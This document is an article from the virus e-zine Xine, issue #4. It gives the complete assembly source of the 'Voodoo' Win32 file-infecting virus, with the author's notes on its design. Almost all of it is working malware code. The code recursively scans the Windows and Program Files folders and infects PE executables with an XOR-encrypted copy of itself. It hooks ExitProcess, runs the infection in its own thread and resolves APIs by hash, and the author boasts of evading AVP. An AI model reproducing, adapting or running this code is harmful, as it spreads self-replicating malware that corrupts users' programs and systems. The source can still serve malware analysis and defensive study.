
                                        /-----------------------------\
                                        | Xine - issue #4 - Phile 201 |
                                        \-----------------------------/

;
;
; - The Voodoo virus
;		
; I made this virus in octobre or november, I had all prototype working in
; different sources, I had finished a directory tree so I decided to mix them
; in one virus.
; 
; This virus was more a coding challenge than everything, 1st, I made a very
; small infection procedure (as a simple PE infector, it took just 500 bytes)
; 2st I mixed with it the directory scanner. But It took so much time.
;
; I decided to add the CreateThread technology becoz multitasking open the way
; of flooding the user. Each time Voodoo run, it infect a lot of PEs in 
; hardrive. Voodoo wait 5 sec before running, waiting that the game or program
; was initialized. It don't close FF/FN handle coz it can speed up other 
; voodoos
; 
; The problem is that the Tread finish with the program, so Voodoo hook 
; ExitProcess and wait for finishing activities
;
; against windows message of modified programs I decided to make the windows
; directory by default as a three scanning. 
; 
; I had the option of puting a polymorphic in it, at that time, I hadn't 
; developed any poly for win32 so I puted an encryption that put the virus to
; stack and decrypt it over there. From stack, it allocate memory and go there
; I did that to remember DOS viruses time.
;
; I did a lot of debug about all these techs, the virus is kinda uncrashable,
; very stable but don't work on the NT station. I modified it to get working 
; on it but didn't like the morphology of voodoo coz it's not the same spirit
; This virus have something exceptional, so I decided to put the original 
; version
;
;						Magic voodoo - VOOOOOODOOOo!
;
; As you can notice, AVP were fool at some point, I mailed them and tell them
; their error, nothing was changed. If my voice is not heard, then I will not
; help them anymore in the future pffff....
;

.386
locals
.model flat

;extrn           ExitProcess:Proc

.data							; shits for tasm

label_name:	db 'StarZero virus prototype 3 - Voodoo Viruses family'

.code                                   ;executable code starts here

HOST:
		jmp 	start
PSEUDOFIN:	push	0
;		call	ExitProcess

start:
			db	068h
returntohost: 		dd	offset PSEUDOFIN

	pushad	
	call 	getdel					; get delta

decrypt:
	
	sub	esp,fin-start
	lea	esi,[ebp+start]
	mov	edi,esp
	mov	ecx,starcrpt-start
	repz	movsb				; copy virus to stack

	mov	ecx,fin-starcrpt

	mov	bl,byte ptr [ebp+starcrpt]	; decrypt in stack the virus

makeitfull:

	mov	al,byte ptr [esi]
	xor	al,bl
	mov	byte ptr [edi],al
	inc 	esi
	inc	edi
	loop	makeitfull			; do the decrypt boucle

retrn:
	lea	eax,[esp+FirstEntry-start]
	jmp	eax					; jmp to virus in stack

getdel:	
	call	getdel2
getdel2:
	pop	ebp
	sub	ebp,offset getdel2
	ret

starcrpt:	db 0

StartCrypt:

FirstEntry:

        Call    InitApis			; set all apis
	call	Alloc				; alloc memory

	mov	edi,eax
	lea	esi,[ebp+start]
	mov	ecx,fin-start
	repz	movsb
	lea	eax,[eax+InitViralcode-start]
	jmp	eax				; drop it over there

InitViralcode:

	call	getdel				; get the delta

        mov     esi,dword ptr [ebp+startscan]
	mov	edi,dword ptr [ebp+ImageBase]
        xor     edx,edx

nexloop:				; search for Kernel32.DLL Import dir.

	mov 	eax,dword ptr [esi+12]
	lea	eax,[edi+eax+4]

	mov	ebx,eax
	cmp	ebx,80000000h
	ja	fin0
	
	cmp	dword ptr [eax],'23LE'		; look for kernel32
	je	testExitProc

	inc	edx
	add	esi,20
	loop	nexloop
	jmp	fin0		

testExitProc:				; found ?

        mov     eax,dword ptr [ebp+ExitProcess0]
        mov     esi,dword ptr [esi+16]          ; now get the RVA of the
        lea     esi,[esi+edi-4]                 ; location of the import

scannext0:					;
	add	esi,4
	cmp	dword ptr [esi],0
	je	fin0
	cmp	dword ptr [esi],eax		; detect when location = ExitP.
	jne 	scannext0

        lea     eax,[ebp+ExitInterception]
	mov	dword ptr [esi],eax		; patch it

	lea	eax,[ebp+Identifier]
	push	eax
	push	0
	push	0
	lea	eax,[ebp+Viralcode]		; init our virus as new
	push	eax				; taks
	push	0
	push	0
	call	dword ptr [ebp+CreateThread0]

fin0:

        add     esp,fin-start
	popad
	ret					; return to host!

Identifier:	dd	0

ExitInterception:

        call    getdel

waitforsynchronic:

        cmp     byte ptr [ebp+synchronicflag],66	; wait for virus
        jne     waitforsynchronic			; terminaison

        call    dword ptr [ebp+ExitProcess0]
        ret

Viralcode:

	call	getdel
        call    GetTime

	cmp	byte ptr [ebp+synchronicflag],69	; for 1st run
	jz	skipwait

	mov	byte ptr [ebp+synchronicflag],66	; set as not finished

	mov	ax,word ptr [ebp+WDSec]
	add	ax,5
	cmp	ax,60
	jna	skfx
	sub	ax,60
skfx:	push	eax
	call	GetTime					; wait 5 sec
	pop	eax
	cmp	word ptr [ebp+WDSec],ax
	jna	skfx

skipwait:
	mov	byte ptr [ebp+synchronicflag],0

	and	dword ptr [ebp+dirflag],0
	
        mov     ax,word ptr [ebp+WMil]

        and     al,00000010b
        cmp     al,10b					; look for sec
        je      scanwindir				; if okay then attack
							; all wins
        mov     word ptr [ebp+currbuff2],'\'

	lea	eax,[ebp+currbuff2]
	push	eax
	push	eax
	push	260
        call    dword ptr [ebp+GetCurrDir]		; get current dir

	pop	eax

finishthat:

	inc	eax
;	cmp	byte ptr [eax],0
;	je	returntohost
	cmp	byte ptr [eax],'\'
	jne	finishthat
	mov	byte ptr [eax],0

        mov     al,byte ptr [ebp+WDSec]
	and	al,1b
        cmp     al,1b
        je      scandirit

        inc     byte ptr [ebp+dirflag]
	jmp	scandirit

scanwindir:

	lea 	esi,[ebp+programdir]
	lea	edi,[ebp+currbuff2]
	mov	eax,edi
	mov	ecx,endpgm-programdir
	repz	movsb				; scan program directory

scandirit:

	call	scanalldir
	mov	byte ptr [ebp+synchronicflag],66

	push	0
	call	dword ptr [ebp+ExitThread0]

scanalldir:

	lea	eax,[ebp+currbuff2]
	mov	esi,eax
	Call	GetFirstDir			; get 1st directory
	push	eax
	test	eax,eax
	jz	uptoback			; nothing then go upper dir
	pop	eax
	dec 	eax
	push	eax
	call	scanexes

scannext:
	lea	edi,[ebp+currbuff2]
	mov	eax,edi	

	scanit:
	inc	edi
	cmp	byte ptr [edi],0
	jne	scanit
	
lovesex:
	dec	edi
	cmp	byte ptr [edi],'\'
	jne	lovesex					; fix up dir and every
							; thing
	inc	edi
	lea	esi,[ebp+returned+2Ch]

copyit:
	movsb
	cmp	byte ptr [esi],0
	jnz	copyit
	
	movsb
	cmp	byte ptr [esi-2],'.'
	je	loopback2				; if . or .. then don't
							; scan
	cmp	byte ptr [ebp+dirflag],1		; check if recursive
	je	makeitnormal

	cmp	word ptr [ebp+currbuff2+3],'IW'		; look if windows
	je	noiseit

	push	edi esi
	call	makescandir				; make scannable dir
	call	scanexes				; scan exe
	pop	esi edi
	mov	byte ptr [esi],0

	cmp	byte ptr [ebp+dirflag],0
        je      skipscanalldir

makeitnormal:

	call	scanalldir				; scan all sub dir
	jmp	scanfixit

noiseit:

	push	dword ptr [ebp+dirflag]
	mov	byte ptr [ebp+dirflag],1
	call	scanalldir				; scan all subdir if
	pop	dword ptr [ebp+dirflag]			; windows or other...
	jmp	scanfixit

skipscanalldir:
loopback:
	
	dec	edi
	cmp	byte ptr [edi],'\'			; fix compatibility
	jne	loopback				; between strcuture

loopback2:
	dec	edi
	cmp	byte ptr [edi],'\'			; and received datas
	jne	loopback2

	mov	dword ptr [edi+1],' .*'

scanfixit:

	pop	eax

scanthat:

	push	eax
	call	GetNextDir				;get the next directory
	test	eax,eax
	jz	uptoback
	jmp	scannext

uptoback:

	pop	eax
	lea	eax,[ebp+currbuff2]

testit0:
	inc	eax
	cmp	byte ptr [eax],0
	jne	testit0

testit22:
	dec	eax
	cmp	byte ptr [eax],'\'
	jne	testit22

testit222:
	dec	eax
	cmp	byte ptr [eax],'\'
	jne	testit222

	mov 	dword ptr [eax+1],' .*'		; a trick to get dirs only on
						; win95/98
	ret

GetFirstDir:

	call	makescandir
	lea	eax,[ebp+returned]
	push	eax
	push	esi
        Call    dword ptr [ebp+FindFirst]

	inc	eax				; get directory
	ret

makescandir:
	lea	esi,[ebp+currbuff2]
	push	esi
diroz1:
	inc 	esi
	cmp 	byte ptr [esi],0
	jne 	diroz1

	mov	dword ptr [esi],' .*\'		; check if we fixed it
	mov	byte ptr [esi+4],0
	pop	esi
	ret

GetNextDir:

	lea	esi,[ebp+returned]
	push	esi
	push	eax
	Call	dword ptr [ebp+FindNext]
	ret

scanexes:

	sub	esp,260+fin-start		; reserve stack for memory
	mov	edx,esp	

	lea 	eax,[ebp+currbuff2]
	push	eax

doitmore:
	inc	eax
	cmp	byte ptr [eax],0
	jne	doitmore

	dec	eax
	mov	dword ptr [eax],'exe'			; add exe to '*. '
	dec	eax
	dec	eax
	mov	dword ptr [ebp+offsetloc],eax

	pop	eax	
	push	edx

	push	edx
	push	eax

	call	dword ptr [ebp+FindFirst]		; look if file exist
	inc	eax
	test	eax,eax
	jz	finishiot
	dec	eax
	push	eax

startinfect:

	mov	dl,byte ptr [esp+4+4+32+1]
	xor	dl,69
	mov	byte ptr [ebp+starcrpt],dl		; low size equal crypt
							; val
	lea	esi,[esp+4+4+2Ch]
	mov	edi,dword ptr [ebp+offsetloc]
	xor	ecx,ecx
	mov	cl,95					;
	repz	movsb				; copy the uncrypted part 

	lea	edx,[ebp+currbuff2]
	Call	CreateMapfile			; map the file
	jz	finishit
	push	eax

	cmp	byte ptr [eax],'M'			; check exe
	jne	CloseIt

	cmp	byte ptr [eax+24],'@'			; check win
	jne	CloseIt

	mov	edi,eax
	xor	eax,eax
	mov	ax,word ptr [edi+03Ch]
	lea	esi,[eax+edi]

	cmp	byte ptr [esi],'P'			; check PE
	jne	CloseIt

	cmp	word ptr [esi+66],'S0'			; check infected
	je	CloseIt

	xor	ecx,ecx
	mov	cx,word ptr [esi+6]			; get numbers of 
	dec	cx					; sections
	xor	eax,eax
noozhere:
	or	dword ptr [esi+eax+0f8h+36],80000000h
	add	eax,40
	loop	noozhere				; make all sec writable

	lea	ebx,[esi+eax+0f8h]

        mov     ecx,dword ptr [esi+52]

        mov     eax,dword ptr [esi+128]
        mov     dword ptr [ebp+startscan],eax			; set for
        mov     dword ptr [ebp+ImageBase],ecx			; getting value
        add     dword ptr [ebp+startscan],ecx

	mov	eax,dword ptr [esi+40]
        add     eax,ecx
	mov	dword ptr [ebp+returntohost],eax

	mov	eax,dword ptr [ebx+20]			; set the physical size
	add	eax,dword ptr [ebx+16]
	push	eax
	sub	eax,dword ptr [ebx+20]			; we have physical size

	add	eax,dword ptr [ebx+12]			; add rva to physical
	mov	dword ptr [esi+40],eax			; and now we 
	sub	eax,dword ptr [ebx+12]

	mov	ecx,dword ptr [esi+60]			; fix image size
	add	eax,fin-start
	call	divit
	mov	dword ptr [ebx+16],eax

	mov	eax,fin-start				; set the virtual size
	mov	ecx,dword ptr [esi+56]
	call	divit
	add	dword ptr [ebx+8],eax
	or	dword ptr [ebx+36],0C0000020h		; set last section as 
							; loadable an code
	add	dword ptr [esi+80],eax			; refix image size
	mov	word ptr [esi+66],'S0'

	pop	edi
	Call	dword ptr [ebp+UnMap]			; unmap the file

	push	edi
	push	dword ptr [ebp+MapHandle]
	Call	dword ptr [ebp+CloseHandle0]
	pop	edi

	add	edi,pseudofin-start			; remap the file+
							; virus physical size
	Call	remapfile
	push	eax

	sub	edi,pseudofin-start			
	add	edi,eax

	lea	esi,[ebp+start]
	mov	ecx,StartCrypt-start			; 
	repz	movsb					; drop the virus

	push	ebx
	mov	ecx,pseudofin-StartCrypt
	mov	bl,byte ptr [ebp+starcrpt]
	
cryptit:
	mov	al,byte ptr [esi]
	xor	al,bl
	mov	byte ptr [edi],al
	inc	esi
	inc	edi
	loop	cryptit					; and encrypt it

	pop	ebx

CloseIt:
	Call	dword ptr [ebp+UnMap]
	push	dword ptr [ebp+MapHandle]
	Call	dword ptr [ebp+CloseHandle0]		; close map handles
	push 	dword ptr [ebp+fhandle]
	Call 	dword ptr [ebp+CloseHandle0]

	pop	eax
	pop	edx

	push	edx
	push	eax

	push	edx
	push	eax
	Call	dword ptr [ebp+FindNext]		; check if any other 
	test 	eax,eax					; exe
	jnz 	startinfect	

finishit:

	pop	eax

finishiot:

	pop	eax
        add     esp,260+(fin-start)
        ret


CreateMapfile:

	push 	2			         ; iReadWrite = OF_READWRITE	

	push 	edx
	Call 	dword ptr [ebp+Lopen]                     ; open the file
	mov	edi,dword ptr [esp+4+4+4+20h]
	mov 	dword ptr [ebp+fhandle],eax

remapfile:

	mov	eax,dword ptr [ebp+fhandle]
	push	0
	push	edi
	push	0
	push	4h
	push	0
	push	eax
        Call    dword ptr [ebp+CreateMap]
	mov	dword ptr [ebp+MapHandle],eax		; put the file in mem

	push	edi
	push	0
	push	0
	push	2h or 4h
	push	eax
	call	dword ptr [ebp+ViewMap]			; ask to access that
	dec	eax					; file
	inc	eax
	
	ret

GetTime:

        lea     eax,[ebp+TimeOffset]
        push    eax
        call    dword ptr [ebp+GetSysTime0]		; get the time
        ret

divit:							; for the pe values

push edx
push ebx

xor edx,edx
div ecx
inc eax
mul ecx

pop ebx
pop edx
ret

Alloc:						; Hacked from Explorer.exe
						; given with window95 Chicago

	mov	ebx,fin-start
	inc	ebx				; ver 4.00.950 line#0040D0DE
        push    0
        push    ebx
	push	0
        Call    dword ptr [ebp+HeapCreate0]	; use heap for getting mem

        cmp     eax,0
        jz      AllocBad

	dec	ebx
	push	ebx
	push	8h
        push    eax
        Call    dword ptr [ebp+HeapAlloc0]	; alloc heaps
	
AllocBad:
ret

InitApis:
GetProc:

	call	getdel
	push	ebp
        mov     edi,dword ptr [esp+4+20h+4+fin-start+4]
;	and	edi,0FFF00000h
;        cmp     edi,0BFF00000h
;        jb      kernelbase
        mov     edi,077F00000h-070000h		; this was previewved for NT
						; but in fact don't work on NT
kernelbase:

        add     edi,070000h
        mov     ebx,dword ptr [edi+3Ch]
        add     ebx,edi                         ; ebx point to the PE header
                                                ; In fact it's allways PE
 						; I skiped the MZ and PE
						; signature check coz if it's
						; not, Kernel can't be loaded :]
        mov     esi,dword ptr [ebx+120]         ; esi point to the Export
        lea     esi,[esi+edi]                   ; zone

        mov     ecx,dword ptr [esi+24]          ; ecx = number of export
        mov     ebx,dword ptr [esi+32]          ; ebx point to the name offset
        add     ebx,edi                         ; table

Scanstring:
	

        mov     edx,dword ptr [ebx]             ; edi point to the 1st
        add     edx,edi                         ; name

loophere:

	push	ecx

        xor     eax,eax
        xor     ecx,ecx				; reset for crc building

        mov     al,byte ptr [edx]

getnamecrc:

        mov     cl,byte ptr [edx]
        test    ecx,ecx
        jz      test_crcs			; this build a Pseudo CRC
        rol     eax,3
        xor     eax,ecx
        inc     edx
        jmp     getnamecrc

test_crcs:

	pop	ecx
	push	ecx
	push	ebp
	
	inc	edx
	lea	ebp,[ebp+crc_list-4]		; compare pseudos crc
	xor	ebx,ebx
doomed:
	add	ebp,4
	cmp	byte ptr [ebp],0		; check for it
	je	testnext

	inc	ebx
        cmp     dword ptr [ebp],eax
        jne     doomed

        mov     eax,dword ptr [esi+24]		; get table of API offset
	sub	eax,ecx
	shl	eax,1
	
	push	ebx
        add     eax,dword ptr [esi+36]          ; table RVA
        add     eax,edi                         ; Add Rva
	xor	ebx,ebx				; set ebx to 0
	mov	bx,word ptr [eax]		;
	xchg	eax,ebx
	pop	ebx

	shl	eax,2

	add	eax,dword ptr [esi+28]		; calculation
	add	eax,edi

	mov 	eax,dword ptr [eax]
	add	eax,edi
	dec 	ebx

	pop	ebp
	lea	ecx,[4*ebx+GetSysTime0]		; do it over system time
	mov	dword ptr [ebp+ecx],eax
	push	ebp
testnext:
	pop	ebp
	pop	ecx
	loop	loophere			; scan every api requested

	pop 	ebp
        ret

programdir:	db 'c:\program files',0
;programdir:	db 'f:\program files',0
endpgm:

db		db 'Star0/ikx/ - Magic Voodoo'

ImageBase:	dd	00400000h
startscan:	dd	00404000h

sec_descriptor:

dd      12
dd      0
dd      0

crc_list:

	dd	0EE84C668h			; GetSystemTime
	dd	0C6387A85h			; CreateThread
	dd	00518D019h			; HeapAlloc
	dd	028C67195h			; HeapCreate
	dd	0A24E569Eh			; GetCurrentDirectoryA
	dd	05FBCD23Ch			; CreateMap
	dd 	0D45D57C9h			; ViewMap
	dd	0D456B049h			; UnMap
	dd	056b3973Eh			; FindFirst
	dd	0E37e8dc3h			; FindNext
	dd	00AACF03Dh			; Lclose -> Call to closeHandle
	dd	001558146h			; Lopen
	dd	01CDC7E3Fh			; ExitThread
        dd 	0E6ff2c33h                      ; ExitProcess
	dd	0

pseudofin:

GetSysTime0:    dd      0
CreateThread0:	dd	0
HeapAlloc0:	dd	0
HeapCreate0:	dd	0
GetCurrDir:     dd      0
CreateMap:	dd	0
ViewMap:	dd	0
UnMap:		dd	0
FindFirst:	dd	0
FindNext:	dd	0
CloseHandle0:	dd	0
Lopen:		dd	0
ExitThread0:	dd	0
ExitProcess0:   dd      0
		dd	0

MapHandle:	dd	0
fhandle:        dd      0
offsetloc:	dd	0
synchronicflag: db      69
dirflag:        dd	0

returned:       db      400 dup (?)

TimeOffset:

WYear:          dw ?
WMonth:         dw ?
WDayWeek:       dw ?
WDay:           dw ?
WDHour:         dw ?
WDMin:          dw ?
WDSec:          dw ?
WMil:           dw ?

currbuff2:      db      295 dup (?)
startfile:
fin:
ends
end HOST



